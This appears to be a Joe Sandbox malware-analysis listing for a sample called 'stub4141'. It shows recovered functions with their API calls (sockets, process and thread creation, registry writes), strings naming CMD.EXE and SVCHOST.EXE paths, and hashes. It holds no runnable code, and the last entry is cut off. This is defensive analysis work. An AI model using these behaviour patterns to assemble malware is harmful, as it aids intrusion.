Instruction Fuzzy Hash: D3211BB4E40308BFDB14DFA4DD89FAE77B5EF48701F1048A8E606A7290D7749A40DB54

Function 00412CF0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 230synchronizationCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 00412D5B
SetEvent.KERNEL32(00000000), ref: 00412E9F
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00412EE3
CloseHandle.KERNEL32(00000000), ref: 00412F25
CloseHandle.KERNEL32(00000000), ref: 00412F87
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00413015
shutdown.WS2_32(?,00000002), ref: 004130AB
closesocket.WS2_32(?), ref: 004130B5

Part of subcall function 00420070: ___crtGetLocaleInfoEx.LIBCMTD ref: 0042008D

Part of subcall function 0041FCF0: ___crtGetLocaleInfoEx.LIBCMTD ref: 0041FD0D

Strings

d, xrefs: 00412E56

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandleInfoLocale___crt$EventFreeObjectSingleVirtualWaitclosesocketsetsockoptshutdown
String ID: d
API String ID: 3427925336-2564639436
Opcode ID: 0c131aac1ef809c054a467c0e2beac71432b12f96a53edef8139ef223b7e500e
Instruction ID: 6c12f30ee05cb7278beca81be78934fb780459f1033b76f991e950ddc1b3a010
Opcode Fuzzy Hash: 0c131aac1ef809c054a467c0e2beac71432b12f96a53edef8139ef223b7e500e
Instruction Fuzzy Hash: 34A15B71A001189FFB28CF54C885FAEB7B5FB84304F1081A9E21DAB282D7799E95CF55

Function 00416670 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97threadsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000,?,004163CB,?), ref: 004166AB
CloseHandle.KERNEL32(00000000,?,004163CB,?), ref: 004166E3
CloseHandle.KERNEL32(00000000,?,004163CB,?), ref: 00416703
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,004163CB,?), ref: 0041671B
CreateThread.KERNEL32(00000000,00000000,?,?,00000004,00000000), ref: 0041673A
ResumeThread.KERNEL32(00000000), ref: 00416768
CloseHandle.KERNEL32(00000000), ref: 0041677E
CloseHandle.KERNEL32(00000000), ref: 00416788

Strings

d, xrefs: 00416691

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$CreateThread$EventObjectResumeSingleWait
String ID: d
API String ID: 144976343-2564639436
Opcode ID: 46c812a3991da69db10e27a535e16e4625b23981f9dba6a3a20083d559747dd2
Instruction ID: f49618d5ccc31999a5900ff111f12d2877baed9b15f89647a1e3069331566c21
Opcode Fuzzy Hash: 46c812a3991da69db10e27a535e16e4625b23981f9dba6a3a20083d559747dd2
Instruction Fuzzy Hash: 55411CB4A00219DFDB14CF94C988BAEBBB1FB48304F248559E615A7390C7B9E985CF94

Function 020F2878 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 84memoryprocessCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020F2897
GetSystemDirectoryW.KERNEL32(00000000,00007FFF), ref: 020F28B3
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020F28C8

Part of subcall function 020F6E17: lstrlenW.KERNEL32(?), ref: 020F6E40

__snwprintf.LIBCMT ref: 020F2914
_memset.LIBCMT ref: 020F2927
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 020F296E
LocalFree.KERNEL32(00000000), ref: 020F297D
LocalFree.KERNEL32(00000000), ref: 020F2987
LocalFree.KERNEL32(00000000), ref: 020F2998
LocalFree.KERNEL32(00000000), ref: 020F29A2

Strings

D, xrefs: 020F292F

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$CreateDirectoryProcessSystem__snwprintf_memsetlstrlen
String ID: D
API String ID: 2329958830-2746444292
Opcode ID: 6c8ea0ff6bfbbf54c14cc2c30385d61ff4c54a208c324b80b9b2307826924977
Instruction ID: d0bbc30ab79228a3ef61ac9d1ff214776d7f518f556465e28e1e1b5a02a3d7d9
Opcode Fuzzy Hash: 6c8ea0ff6bfbbf54c14cc2c30385d61ff4c54a208c324b80b9b2307826924977
Instruction Fuzzy Hash: FC317CB1944308BFEB54DBA0CC89FED77B9EF44700F1045A8EB08AB190DBB59A84DB54

Function 00404370 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32(00402FB8,00000104,?,00402FB8,?), ref: 00404382
__snwprintf.LIBCMT ref: 0040439E
GetSystemDirectoryW.KERNEL32(00402FB8,00000104), ref: 004043BE
__snwprintf.LIBCMT ref: 004043DA

Strings

%s\EXPLORER.EXE, xrefs: 00404390
%s\SVCHOST.EXE, xrefs: 004043CC
%s\CMD.EXE, xrefs: 00404408

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Directory__snwprintf$SystemWindows
String ID: %s\CMD.EXE$%s\EXPLORER.EXE$%s\SVCHOST.EXE
API String ID: 2322266053-3707798339
Opcode ID: 5bf5b743bd8781b4f532215c166f6e8663fe098ee4501212f1e86f5758d29c9b
Instruction ID: a8b92a798539630202f19792646d19338fc47291f9ea7ceaeb9fc66aa51ff5d4
Opcode Fuzzy Hash: 5bf5b743bd8781b4f532215c166f6e8663fe098ee4501212f1e86f5758d29c9b
Instruction Fuzzy Hash: 2E113DF1740244BBEB04DE90CD86BBB3269AB84B01F54892EFB149A2C0D6BCD850D759

Function 004213D0 Relevance: 15.3, APIs: 10, Instructions: 294stringnetworkCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 004213E9

Part of subcall function 004217F0: CoInitialize.OLE32(00000000), ref: 00421806
Part of subcall function 004217F0: CoCreateGuid.COMBASE(00421403), ref: 00421818
Part of subcall function 004217F0: StringFromGUID2.COMBASE(00421403,?,00000027), ref: 00421830
Part of subcall function 004217F0: wsprintfA.USER32 ref: 0042184B
Part of subcall function 004217F0: LocalAlloc.KERNEL32(00000040,00000068), ref: 00421858
Part of subcall function 004217F0: und_memcpy.LIBCMTD ref: 004218A5
Part of subcall function 004217F0: LocalFree.KERNEL32(00000000), ref: 004218B1
Part of subcall function 004217F0: CoUninitialize.COMBASE ref: 004218B7

Part of subcall function 0041F390: socket.WS2_32(00000002,00000001,00000006), ref: 0041F39F

setsockopt.WS2_32(00000000,0000FFFF,00000080,?,00000004), ref: 00421490
LocalFree.KERNEL32(00000000), ref: 004217C8

Part of subcall function 0041FCF0: WSACreateEvent.WS2_32 ref: 0041FD50

Part of subcall function 004218D0: LocalAlloc.KERNEL32(00000040,00000318), ref: 004218E0
Part of subcall function 004218D0: LoadLibraryW.KERNEL32(NTDLL.DLL), ref: 004218F8
Part of subcall function 004218D0: LocalFree.KERNEL32(00000000), ref: 0042190B

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00421753
WSAEventSelect.WS2_32(00000000,00000000,00000020), ref: 00421778
und_memcpy.LIBCMTD ref: 00421797
CloseHandle.KERNEL32(00000000), ref: 004217AE
LocalFree.KERNEL32(00000000), ref: 004217BB
shutdown.WS2_32(00000000,00000002), ref: 004217D7
closesocket.WS2_32(00000000), ref: 004217E4

Part of subcall function 00420070: ___crtGetLocaleInfoEx.LIBCMTD ref: 0042008D

Part of subcall function 0041FCF0: ___crtGetLocaleInfoEx.LIBCMTD ref: 0041FD0D

Part of subcall function 00420070: WSACreateEvent.WS2_32 ref: 004200D0

Part of subcall function 00421A90: LocalAlloc.KERNEL32(00000040,0000027C), ref: 00421AA0
Part of subcall function 00421A90: lstrcpyW.KERNEL32(0000001C,00480394), ref: 00421AD5
Part of subcall function 00421A90: GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00421AF4
Part of subcall function 00421A90: LocalFree.KERNEL32(00000020), ref: 00421B02

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$Free$CreateEvent$Alloc$InfoLocale___crtund_memcpy$CloseFileFromGuidHandleInitializeLibraryLoadModuleNameSelectStringUninitializeclosesocketlstrcpylstrlensetsockoptshutdownsocketwsprintf
String ID:
API String ID: 3642594451-0
Opcode ID: 91b34b9c5745e4b5f0dd428243e13f2c4e447a38cbdc9cad2ab2488e73ddf730
Instruction ID: cbab096840a0755e88de67cc896f688f80031ba1f52f3058f7010a79f0321755
Opcode Fuzzy Hash: 91b34b9c5745e4b5f0dd428243e13f2c4e447a38cbdc9cad2ab2488e73ddf730
Instruction Fuzzy Hash: 08B18D75A00318AFEB20DB90DC85FEE73B9AB98700F5045D9F608A7191E7B45E84CF66

Function 004130D0 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 158COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0041314B
_memset.LIBCMT ref: 0041319B
shutdown.WS2_32(?,00000002), ref: 0041340F
closesocket.WS2_32(?), ref: 00413419

Part of subcall function 00420070: ___crtGetLocaleInfoEx.LIBCMTD ref: 0042008D

Strings

!, xrefs: 004132B1
", xrefs: 004132BB
, xrefs: 004132A7
#, xrefs: 004132C5

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: InfoLocale___crt_memsetclosesocketsetsockoptshutdown
String ID: $!$"$#
API String ID: 2801799075-1968938309
Opcode ID: 07d2dd4bac890dd6b2c29620ea946b92852dcb50f0be13b630e1209387d38c2f
Instruction ID: eebeaeee219943d0ffcbe5195b8169e20c42abdf958dcba2ee3f011c844d04e7
Opcode Fuzzy Hash: 07d2dd4bac890dd6b2c29620ea946b92852dcb50f0be13b630e1209387d38c2f
Instruction Fuzzy Hash: 1881E9B0904219DBEF24DF50D989BDEBBB5BB44308F1082E9D50C6B281D7BA5AC8CF55

Function 004020D0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004020F0
__snwprintf.LIBCMT ref: 0040210E
RegCreateKeyExW.ADVAPI32(80000001,?,00000000,00000000,00000000,000F003F,00000000,000017FC,00000000), ref: 00402135
RegSetValueExW.ADVAPI32(000017FC,{B8A4F0F8-D8E3-4E9F-9B43-AF54B9B9F0D5},00000000,00000003,00482D14,00402068), ref: 00402154
RegCloseKey.ADVAPI32(000017FC), ref: 00402162
RegCloseKey.ADVAPI32(000017FC), ref: 00402173

Strings

SOFTWARE\%s, xrefs: 004020FD
{B8A4F0F8-D8E3-4E9F-9B43-AF54B9B9F0D5}, xrefs: 004020F8, 0040214B

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Close$CreateValue__snwprintf_memset
String ID: SOFTWARE\%s${B8A4F0F8-D8E3-4E9F-9B43-AF54B9B9F0D5}
API String ID: 749045061-3863139341
Opcode ID: 7bdb83936df4c98f5a8d30e35a3106e3d0c8f8047a40bb6598f54dabcbb1936f
Instruction ID: 0fa9436d7c887e80a0f4cf3fb6d50e1a8cf831848815db7c0bed1691bccd71c8
Opcode Fuzzy Hash: 7bdb83936df4c98f5a8d30e35a3106e3d0c8f8047a40bb6598f54dabcbb1936f
Instruction Fuzzy Hash: F211A575744308BBE710EBA0DD8AFAE3378AB44B00F504559B704BA1C0E6F5EA40D769

Function 00402B10 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 55registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00402B30
__snwprintf.LIBCMT ref: 00402B4E
RegCreateKeyExW.ADVAPI32(80000001,?,00000000,00000000,00000000,000F013F,00000000,?,00000000), ref: 00402B75
RegSetValueExW.ADVAPI32(?,{F0408EAF-6026-476A-AF50-BFCA4663F089},00000000,00000003,?,00000B3C), ref: 00402B95
RegCloseKey.ADVAPI32(?), ref: 00402BA3
RegCloseKey.ADVAPI32(?), ref: 00402BB4

Strings

{F0408EAF-6026-476A-AF50-BFCA4663F089}, xrefs: 00402B38, 00402B8C
SOFTWARE\%s, xrefs: 00402B3D

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Close$CreateValue__snwprintf_memset
String ID: SOFTWARE\%s${F0408EAF-6026-476A-AF50-BFCA4663F089}
API String ID: 749045061-1412543091
Opcode ID: 95a93c5d511b3cd0b7bf3c256c616014b739babda97b8e776fa6045813399b66
Instruction ID: 5fe6556e446972ee925ce16f4cef605ac72eebdab3b276db8edb02c43bf47f88
Opcode Fuzzy Hash: 95a93c5d511b3cd0b7bf3c256c616014b739babda97b8e776fa6045813399b66
Instruction Fuzzy Hash: 8E11A574744308BBE710DFA0DD8AFAB3378AB44B00F504599B608BA1C0E6F5AA00D799

Function 00416BB0 Relevance: 13.7, APIs: 9, Instructions: 176stringmemoryCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,?,?,?,?,00412696,004340B0), ref: 00416BD9
_memmove.LIBCMT ref: 00416C08
lstrlenW.KERNEL32(?), ref: 00416C2C
LocalAlloc.KERNEL32(00000040,?), ref: 00416C3F

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: lstrlen$AllocLocal_memmove
String ID:
API String ID: 39496755-0
Opcode ID: 74decf0a1fcdecbfa2b4876a6ab7b7877576ecd80f4d5ae60bd553b94493bf70
Instruction ID: aae297617b8aa7556218a8e709b7dc7e193805885b69ced9a2ecb70ce53db67a
Opcode Fuzzy Hash: 74decf0a1fcdecbfa2b4876a6ab7b7877576ecd80f4d5ae60bd553b94493bf70
Instruction Fuzzy Hash: 6F7107B0A0010AEFCB04CF98D585AEEB7B1FF58308F118159E905AB354D734EA95CF99

Function 00416F20 Relevance: 13.7, APIs: 9, Instructions: 171stringmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(0040124D), ref: 00416F49
_memmove.LIBCMT ref: 00416F77
lstrlenA.KERNEL32(0040124D), ref: 00416F9B
LocalAlloc.KERNEL32(00000040,?), ref: 00416FAD

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: lstrlen$AllocLocal_memmove
String ID:
API String ID: 39496755-0
Opcode ID: a6a939c34920d3e2ba59d31fca2c96f5d4d038d140fc694c63e95cf6e1f53c7d
Instruction ID: f3c6c1c15bc4f64f9b698575de04262e3b587641eebd08ac4a3725e34127dc50
Opcode Fuzzy Hash: a6a939c34920d3e2ba59d31fca2c96f5d4d038d140fc694c63e95cf6e1f53c7d
Instruction Fuzzy Hash: 2771FE70A0420AEFCF04CF98D981AEEB7B2FF48304F10855AE915A7341D735AA95DFA5

Function 0041DF70 Relevance: 13.7, APIs: 9, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000FA0), ref: 0041DFB9
und_memcpy.LIBCMTD ref: 0041DFDF
und_memcpy.LIBCMTD ref: 0041DFFA
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 0041E018
LocalFree.KERNEL32(00000000), ref: 0041E034

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: AllocLocalund_memcpy$FreeVirtual
String ID:
API String ID: 2616075706-0
Opcode ID: 58ff7eab978fc08669f4755857ba310a44d3483b78c0054ef42a9d3a32f79b34
Instruction ID: e3adb56414d887ab81eed595456c6063ea419377255c27a1dead52f211a687b4
Opcode Fuzzy Hash: 58ff7eab978fc08669f4755857ba310a44d3483b78c0054ef42a9d3a32f79b34
Instruction Fuzzy Hash: FA71E3B4A00228DBDB68CF55DC88BDDB7B5AF98305F1484D9E90DAB350DA34AEC58F44

Function 0041B5F0 Relevance: 13.6, APIs: 9, Instructions: 95threadmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000014), ref: 0041B5FA
CreateThread.KERNEL32(00000000,00000000,0041B710,00000000,00000000,00000000), ref: 0041B641
WaitForMultipleObjects.KERNEL32(?,?,00000000,000000FF), ref: 0041B69B
GetExitCodeThread.KERNEL32(00000000,?), ref: 0041B6B2
CloseHandle.KERNEL32(00000000), ref: 0041B6C1
LocalFree.KERNEL32(00000000), ref: 0041B6CB
TerminateThread.KERNEL32(00000000,00000000), ref: 0041B6E6
CloseHandle.KERNEL32(00000000), ref: 0041B6F0
LocalFree.KERNEL32(00000000), ref: 0041B6FA

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: LocalThread$CloseFreeHandle$AllocCodeCreateExitMultipleObjectsTerminateWait
String ID:
API String ID: 872497719-0
Opcode ID: ee4855dcf8f5cace866c4b0e0dab22e5244d5054ec6c5e86a73f29ed43b1cf36
Instruction ID: 3417952e88c460ad4d09604cb7c780925227c5dc264f02d8238194340a5e2c50
Opcode Fuzzy Hash: ee4855dcf8f5cace866c4b0e0dab22e5244d5054ec6c5e86a73f29ed43b1cf36
Instruction Fuzzy Hash: CF41C778A00208EFDB08DF94D984BDEBBB5FF48300F208559EA15A7390C774AA85DF95

Function 020FB857 Relevance: 13.6, APIs: 9, Instructions: 95threadmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000014), ref: 020FB861
CreateThread.KERNEL32(00000000,00000000,0041B710,00000000,00000000,00000000), ref: 020FB8A8
WaitForMultipleObjects.KERNEL32(?,?,00000000,000000FF), ref: 020FB902
GetExitCodeThread.KERNEL32(00000000,?), ref: 020FB919
CloseHandle.KERNEL32(00000000), ref: 020FB928
LocalFree.KERNEL32(00000000), ref: 020FB932
TerminateThread.KERNEL32(00000000,00000000), ref: 020FB94D
CloseHandle.KERNEL32(00000000), ref: 020FB957
LocalFree.KERNEL32(00000000), ref: 020FB961

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: LocalThread$CloseFreeHandle$AllocCodeCreateExitMultipleObjectsTerminateWait
String ID:
API String ID: 872497719-0
Opcode ID: ee4855dcf8f5cace866c4b0e0dab22e5244d5054ec6c5e86a73f29ed43b1cf36
Instruction ID: a46aa6ab95667ad8b814b164daa373617220facaea58b8752ee3d08b28c82168
Opcode Fuzzy Hash: ee4855dcf8f5cace866c4b0e0dab22e5244d5054ec6c5e86a73f29ed43b1cf36
Instruction Fuzzy Hash: C441E3B8A44208EFCB48CF94D988B9DBBB5FF88304F208159EA15A7390C774AA45DF54

Function 020E4867 Relevance: 13.6, APIs: 9, Instructions: 76registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 020E489B
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 020E48B1

Part of subcall function 020FBB87: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,?,020E48D2,?,00000000), ref: 020FBBA3
Part of subcall function 020FBB87: GetFileSize.KERNEL32(000000FF,00000000,?,020E48D2,?), ref: 020FBBB8
Part of subcall function 020FBB87: LocalAlloc.KERNEL32(00000040,000000FF,?,020E48D2), ref: 020FBBCD
Part of subcall function 020FBB87: ReadFile.KERNEL32(000000FF,00000000,000000FF,?,00000000), ref: 020FBBEE
Part of subcall function 020FBB87: CloseHandle.KERNEL32(000000FF), ref: 020FBC04

__snwprintf.LIBCMT ref: 020E48FE
RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000102,?), ref: 020E4920
RegSetValueExW.ADVAPI32(?,00488718,00000000,00000003,00000000,00000000), ref: 020E4948
RegCloseKey.ADVAPI32(?), ref: 020E4959
LocalFree.KERNEL32(00000000), ref: 020E4966
RegCloseKey.ADVAPI32(?), ref: 020E497A
LocalFree.KERNEL32(00000000), ref: 020E4987

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: File$CloseLocal$Free$AllocCreateHandleModuleNameOpenReadSizeValue__snwprintf_memset
String ID:
API String ID: 3609211549-0
Opcode ID: 7dd92e9ff105c74ebcf85917597bc5edc85ccfb832ac43b882ffca2d4eea2af3
Instruction ID: 5d10c74685cf25f9424c150be81800f21d80fc7028a4db11264bb31c6aa0fdf8
Opcode Fuzzy Hash: 7dd92e9ff105c74ebcf85917597bc5edc85ccfb832ac43b882ffca2d4eea2af3
Instruction Fuzzy Hash: 672196B1940318AFDB20DF60DC8DFEE7378BB58704F1046D8A609A6190E7B59AC4CFA4

Function 004217F0 Relevance: 13.6, APIs: 9, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00421806
CoCreateGuid.COMBASE(00421403), ref: 00421818
StringFromGUID2.COMBASE(00421403,?,00000027), ref: 00421830
wsprintfA.USER32 ref: 0042184B
LocalAlloc.KERNEL32(00000040,00000068), ref: 00421858
und_memcpy.LIBCMTD ref: 004218A5
LocalFree.KERNEL32(00000000), ref: 004218B1
CoUninitialize.COMBASE ref: 004218B7
CoUninitialize.COMBASE ref: 004218C4

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: LocalUninitialize$AllocCreateFreeFromGuidInitializeStringund_memcpywsprintf
String ID:
API String ID: 3539965953-0
Opcode ID: 6970e0010475213e7406e9cdbcf73fb04976a7bf964ad3660b548bfc5ff76bc2
Instruction ID: 8c5db196e99bafedc3f3785b998ba4b3ef9be1f0ea9db8428a7c18cc0a8b3f12
Opcode Fuzzy Hash: 6970e0010475213e7406e9cdbcf73fb04976a7bf964ad3660b548bfc5ff76bc2
Instruction Fuzzy Hash: 9321B875A40308ABDB04EBA4EC8DE9E33B8AF54705F44442DF9099B291E734D944CB59

Function 02101A57 Relevance: 13.6, APIs: 9, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 02101A6D
CoCreateGuid.COMBASE(0210166A), ref: 02101A7F
StringFromGUID2.COMBASE(0210166A,?,00000027), ref: 02101A97
wsprintfA.USER32 ref: 02101AB2
LocalAlloc.KERNEL32(00000040,00000068), ref: 02101ABF
und_memcpy.LIBCMTD ref: 02101B0C
LocalFree.KERNEL32(00000000), ref: 02101B18
CoUninitialize.COMBASE ref: 02101B1E
CoUninitialize.COMBASE ref: 02101B2B

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: LocalUninitialize$AllocCreateFreeFromGuidInitializeStringund_memcpywsprintf
String ID:
API String ID: 3539965953-0
Opcode ID: bca0dcb93561689c78b9a4278d229c7dfd314cf4eed11a0d6fbae2786780e08b
Instruction ID: 305ef564524fa0d4cc5d398a88b4b664fc22f42f4ac3d4dde69c3ba547732e82
Opcode Fuzzy Hash: bca0dcb93561689c78b9a4278d229c7dfd314cf4eed11a0d6fbae2786780e08b
Instruction Fuzzy Hash: 742186B1980308ABDB14EBB8DC89F9E33B9AF44701F044528FA099B190E775D914CB65

Function 020F6B17 Relevance: 13.6, APIs: 9, Instructions: 72windowregistryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 020F6B1F
_memset.LIBCMT ref: 020F6B32
RegisterClassW.USER32(?), ref: 020F6B55
GetLastError.KERNEL32 ref: 020F6B67
CreateWindowExW.USER32(00000000,004883BE,0043489C,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0048BD18,00000000), ref: 020F6B9B
GetMessageW.USER32(?,0048BD14,00000000,00000000), ref: 020F6BBE
TranslateMessage.USER32(?), ref: 020F6BCC
DispatchMessageW.USER32(?), ref: 020F6BD6
UnregisterClassW.USER32(004883BE,0048BD18), ref: 020F6BFC

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: Message$Class$CreateDispatchErrorHandleLastModuleRegisterTranslateUnregisterWindow_memset
String ID:
API String ID: 3243774618-0
Opcode ID: c520cad9b5a3b01635c53a7a90f960de1aae2c74043efa33ed06f741e17cba45
Instruction ID: 7ee25333ac53f421600f0e92d4f720c8da6d83d927d92d19dde99f6979341376
